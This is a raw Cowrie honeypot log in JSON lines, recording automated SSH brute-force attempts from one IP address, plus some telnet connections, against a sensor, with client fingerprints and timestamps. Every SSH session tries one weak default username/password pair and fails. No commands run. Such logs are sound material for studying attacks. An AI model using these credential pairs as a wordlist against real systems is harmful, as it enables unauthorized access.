{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:38.974554Z","src_ip":"192.109.200.237","session":"3e5b7ddef5e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:39.057002Z","src_ip":"192.109.200.237","session":"3e5b7ddef5e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:39.304040Z","src_ip":"192.109.200.237","session":"3e5b7ddef5e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:40.388881Z","src_ip":"192.109.200.237","session":"3e5b7ddef5e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37980,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0d44da1f749","protocol":"ssh","message":"New connection: 192.109.200.237:37980 (159.203.135.109:22) [session: f0d44da1f749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:42.429917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:42.434874Z","src_ip":"192.109.200.237","session":"f0d44da1f749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:42.517268Z","src_ip":"192.109.200.237","session":"f0d44da1f749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:42.764989Z","src_ip":"192.109.200.237","session":"f0d44da1f749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:43.980321Z","src_ip":"192.109.200.237","session":"f0d44da1f749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40216,"dst_ip":"10.17.0.5","dst_port":23,"session":"3878059cc5e4","protocol":"telnet","message":"New connection: 152.42.224.71:40216 (10.17.0.5:23) [session: 3878059cc5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:44.999262Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40228,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4fdf9c52f1d","protocol":"telnet","message":"New connection: 152.42.224.71:40228 (10.17.0.5:23) [session: c4fdf9c52f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:45.356838Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37996,"dst_ip":"159.203.135.109","dst_port":22,"session":"045e2ce25330","protocol":"ssh","message":"New connection: 192.109.200.237:37996 (159.203.135.109:22) [session: 045e2ce25330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:45.800612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:45.805384Z","src_ip":"192.109.200.237","session":"045e2ce25330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:45.887640Z","src_ip":"192.109.200.237","session":"045e2ce25330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:46.135352Z","src_ip":"192.109.200.237","session":"045e2ce25330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:47.220717Z","src_ip":"192.109.200.237","session":"045e2ce25330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdfdc9459413","protocol":"telnet","message":"New connection: 152.42.224.71:44622 (10.17.0.5:23) [session: fdfdc9459413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:47.229515Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38004,"dst_ip":"159.203.135.109","dst_port":22,"session":"14f52e00982f","protocol":"ssh","message":"New connection: 192.109.200.237:38004 (159.203.135.109:22) [session: 14f52e00982f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:49.077653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:49.147145Z","src_ip":"192.109.200.237","session":"14f52e00982f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:49.303953Z","src_ip":"192.109.200.237","session":"14f52e00982f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:49.555898Z","src_ip":"192.109.200.237","session":"14f52e00982f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:50.642124Z","src_ip":"192.109.200.237","session":"14f52e00982f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58738,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e89758f149c","protocol":"ssh","message":"New connection: 192.109.200.237:58738 (159.203.135.109:22) [session: 4e89758f149c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:52.571683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:52.576955Z","src_ip":"192.109.200.237","session":"4e89758f149c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:52.660093Z","src_ip":"192.109.200.237","session":"4e89758f149c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:52.908045Z","src_ip":"192.109.200.237","session":"4e89758f149c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:53.997831Z","src_ip":"192.109.200.237","session":"4e89758f149c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58760,"dst_ip":"159.203.135.109","dst_port":22,"session":"5543a34ceaa1","protocol":"ssh","message":"New connection: 192.109.200.237:58760 (159.203.135.109:22) [session: 5543a34ceaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:55.753095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:55.758782Z","src_ip":"192.109.200.237","session":"5543a34ceaa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:55.841706Z","src_ip":"192.109.200.237","session":"5543a34ceaa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:56.088842Z","src_ip":"192.109.200.237","session":"5543a34ceaa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:57.230507Z","src_ip":"192.109.200.237","session":"5543a34ceaa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58780,"dst_ip":"159.203.135.109","dst_port":22,"session":"691346a4e7d1","protocol":"ssh","message":"New connection: 192.109.200.237:58780 (159.203.135.109:22) [session: 691346a4e7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:59.109236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:59.114602Z","src_ip":"192.109.200.237","session":"691346a4e7d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:59.197755Z","src_ip":"192.109.200.237","session":"691346a4e7d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:59.446637Z","src_ip":"192.109.200.237","session":"691346a4e7d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:00.537736Z","src_ip":"192.109.200.237","session":"691346a4e7d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42010,"dst_ip":"10.17.0.5","dst_port":23,"session":"dee74a313f86","protocol":"telnet","message":"New connection: 152.42.224.71:42010 (10.17.0.5:23) [session: dee74a313f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:00.775177Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51126,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e5d1a704838","protocol":"ssh","message":"New connection: 192.109.200.237:51126 (159.203.135.109:22) [session: 0e5d1a704838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:02.550813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:02.555638Z","src_ip":"192.109.200.237","session":"0e5d1a704838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:02.638284Z","src_ip":"192.109.200.237","session":"0e5d1a704838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:02.888029Z","src_ip":"192.109.200.237","session":"0e5d1a704838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:03.973355Z","src_ip":"192.109.200.237","session":"0e5d1a704838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51128,"dst_ip":"159.203.135.109","dst_port":22,"session":"100a163ac22e","protocol":"ssh","message":"New connection: 192.109.200.237:51128 (159.203.135.109:22) [session: 100a163ac22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:06.193711Z"}
